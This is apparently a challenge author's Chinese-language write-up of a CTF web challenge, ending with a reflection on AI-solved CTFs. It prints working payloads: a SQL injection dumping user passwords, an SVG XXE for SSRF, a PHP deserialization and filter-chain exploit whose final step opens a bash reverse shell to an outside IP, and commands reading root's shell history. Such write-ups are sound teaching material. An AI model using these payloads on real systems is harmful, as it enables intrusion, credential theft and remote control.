web?re? 1.sql二次注入 首先随便先注册一个账号,登陆后可以发现基本没有功能,唯一算是功能的点就这个用户推荐的功能了
所以我们就可以去想这个功能后端可能是一个sql实现的,截取@后面的部分到数据库中匹配(应该可以想到吧)
所以随便测测应该就能出了
1 x@' UNION SELECT 1, username, password FROM users--
然后拿到admin账号密码就可以到下一步了
2.svg打ssrf 进入到admin账号后是一个svg图片上传,
然后svg去读文件应该都知道就不啰嗦了,然后一同找flag时应该能发现找不到flag,并且能发现还有apache相关的东西,所以猜测127.0.0.1还有一个php的服务
然后去访问可以发现确实有一个php的服务在80端口
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY flag SYSTEM "http://127.0.0.1:80/"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="800" height="200"> <text x="10" y="40" font-size="24" fill="red">&flag;</text> </svg>
3.反序列化链子 拿到主要源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 class test{ public $readflag; public $f; public $key; public function __construct(){ $this->readflag=new class{ public function __construct(){ if(isset($_GET['file'])){ $GLOBALS['file']=$_GET['file']; } } public function __wakeup(){ phpinfo(); } public function readflag(){ function readflag(){ if(isset($GLOBALS['file'])){ $file=$GLOBALS['file']; base64_encode(include($file)); } } } }; } public function __wakeup(){ if(is_array($this->f)){ $new=[]; foreach($this->f as $k=>$v){ if(is_string($v)){ $new[$k]=strval($v); }elseif(is_object($v)){ $new[$k]=clone $v; }else{ $new[$k]=$v; } } $this->f=$new; } if(is_string($this->readflag)){ $this->readflag=strval($this->readflag); } if(is_string($this->key)){ $this->key=strval($this->key); } } public function __destruct(){ $func=$this->f; $GLOBALS['filename']=$this->readflag; if($this->key=='class'){ new $func(); }else if($this->key=='func'){ $func(); }else{ echo base64_encode(file_get_contents('index.php')); } } } $ser=isset($_GET['land'])?$_GET['land']:'O:4:"test":N'; @unserialize($ser);
毕竟是炒冷饭并且也没咋改,所以拿ai重新跑一遍就能出flag了
(灵感来源去年2025强网杯ez_php二改,这是我第一次大赛出的一个算比较高分的题,当时我做了可能快5、6个小时,可如今5.5直接7min拿下。确实改的比原题简单一倍)
然后就又到了include去打rce了
4.1 php filter chain(预期) 去读ini文件可以发现data协议用不了了
这时候就可以去打php filter chain
(灵感来源前年iscc谁动了我的奶酪,因为include导致被上马了,当年的我才大一,一个文件包含可以去打rce给我震撼到了,所以当时研究了挺久给我)
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY flag SYSTEM "http://127.0.0.1:80/?land=a%3A3%3A%7Bi%3A0%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Bs%3A4%3A%22test%22%3Bs%3A3%3A%22key%22%3Bs%3A5%3A%22class%22%3B%7Di%3A1%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A62%3A%22class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Findex.php%281%29+%3A+eval%28%29%27d+code%3A1%240%22%3Bi%3A1%3Bs%3A8%3A%22readflag%22%3B%7Ds%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Di%3A2%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Bs%3A8%3A%22readflag%22%3Bs%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7D%7D&file=php://filter/convert.iconv.UTF8.CSISO2022KR/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CSGB2312.UTF-32/convert.iconv.IBM-1161.IBM932/convert.iconv.GB13000.UTF16BE/convert.iconv.864.UTF-32LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.GBK.UTF-8/convert.iconv.IEC_P27-1.UCS-4LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.865.UTF16/convert.iconv.CP901.ISO6937/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.MS932.MS936/convert.iconv.BIG5.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.851.UTF-16/convert.iconv.L1.T.618BIT/convert.iconv.ISO-IR-103.850/convert.iconv.PT154.UCS4/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.GBK.SJIS/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP-AR.UTF16/convert.iconv.8859_4.BIG5HKSCS/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.IBM869.UTF16/convert.iconv.L3.CSISO90/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.CP950.SHIFT_JISX0213/convert.iconv.UHC.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP861.UTF-16/convert.iconv.L4.GB13000/convert.iconv.BIG5.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.CP950.SHIFT_JISX0213/convert.iconv.UHC.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.GBK.BIG5/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP1162.UTF32/convert.iconv.L4.T.61/convert.iconv.ISO6937.EUC-JP-MS/convert.iconv.EUCKR.UCS-4LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM921.NAPLPS/convert.iconv.855.CP936/convert.iconv.IBM-932.UTF-8/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CN.ISO2022KR/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.iconv.UCS-2.OSF00030010/convert.iconv.CSIBM1008.UTF32BE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CSGB2312.UTF-32/convert.iconv.IBM-1161.IBM932/convert.iconv.GB13000.UTF16BE/convert.iconv.864.UTF-32LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.BIG5HKSCS.UTF16/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.BIG5HKSCS.UTF16/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM921.NAPLPS/convert.iconv.855.CP936/convert.iconv.IBM-932.UTF-8/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.8859_3.UTF16/convert.iconv.863.SHIFT_JISX0213/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP1046.UTF16/convert.iconv.ISO6937.SHIFT_JISX0213/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP1046.UTF32/convert.iconv.L6.UCS-2/convert.iconv.UTF-16LE.T.61-8BIT/convert.iconv.865.UCS-4LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.MAC.UTF16/convert.iconv.L8.UTF16BE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CSIBM1161.UNICODE/convert.iconv.ISO-IR-156.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.IBM932.SHIFT_JISX0213/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.MS932.MS936/convert.iconv.BIG5.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=/etc/passwd&1=system('bash%20-c%20%22bash%20-i%20%3E%26%2Fdev%2Ftcp%2F47.xxx.xxx.xxx%2F9999%200%3E%261%22');"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="800" height="200"> <text x="10" y="40" font-size="24" fill="red">&flag;</text> </svg>
完整反弹shll的svg
上传后点击预览
拿到shell
4.2 include去包含svg(非预期) 由于我忘记设置open_basedir了导致可以include我们上传的文件,所以导致非预期QAQ
5.1获取二进制文件等(预期) (灵感来源有一次打渗透,有一个密码在history里面,还有一个啥玩意在.bashrc里面忘了,反正我就记得这俩玩意印象挺深,导致我现在都有ptsd了,拿到一台机器上去就是history起手)
进来一天乱翻发现没有flag,然后拿到的是www-data,所以先看看能不能提权一下
发现xxd,然后查看root的环境变量与历史命令
1 2 xxd /root/.bashrc xxd /root/.bash_history
发现历史命令执行了sendthef1ag,然后拉下来分析分析它会读取环境变量里面的SEND_KEY然后解密flag发送到80端口
所以我们根本不用解密,我们只要设置好环境变量再运行一次,然后看日志即可
1 xxd /var/log/apache2/access.log
也可以利用xxd反向模式拿root
5.2 非预期 /proc/1/environ我忘删了QAQ
然后就是杀鸡用牛刀这块
居然还有asm
6.碎碎念 在如今,ai出题ai做已经成为常态了,那人类还能做什么,或者说ai应该做什么呢?我不知道,但我感觉在如今的ctf环境下,还没有一个很好的规则约束或者说区分下,这种ctf本就是不合理的,就如同一个织毛衣比赛(ctf),把人类手工(纯手工),人类使用织衣机(与大模型交互),纯纯织衣机(全流程agent),统统放在一起按照织毛衣的件数(ctf的解题数或是说分数)排名,这难道不可笑吗。与其反复与ai斗智斗勇,为ai“量身打造”题目以至于到了去恶心人类选手地步,所以我就把我这些年做的印象最深的题放一起柔和成了这一个题,以纪念死去的ctf吧。(但是到了最后感觉好像我这题也变成了那种恶心人类选手的题了QAQ)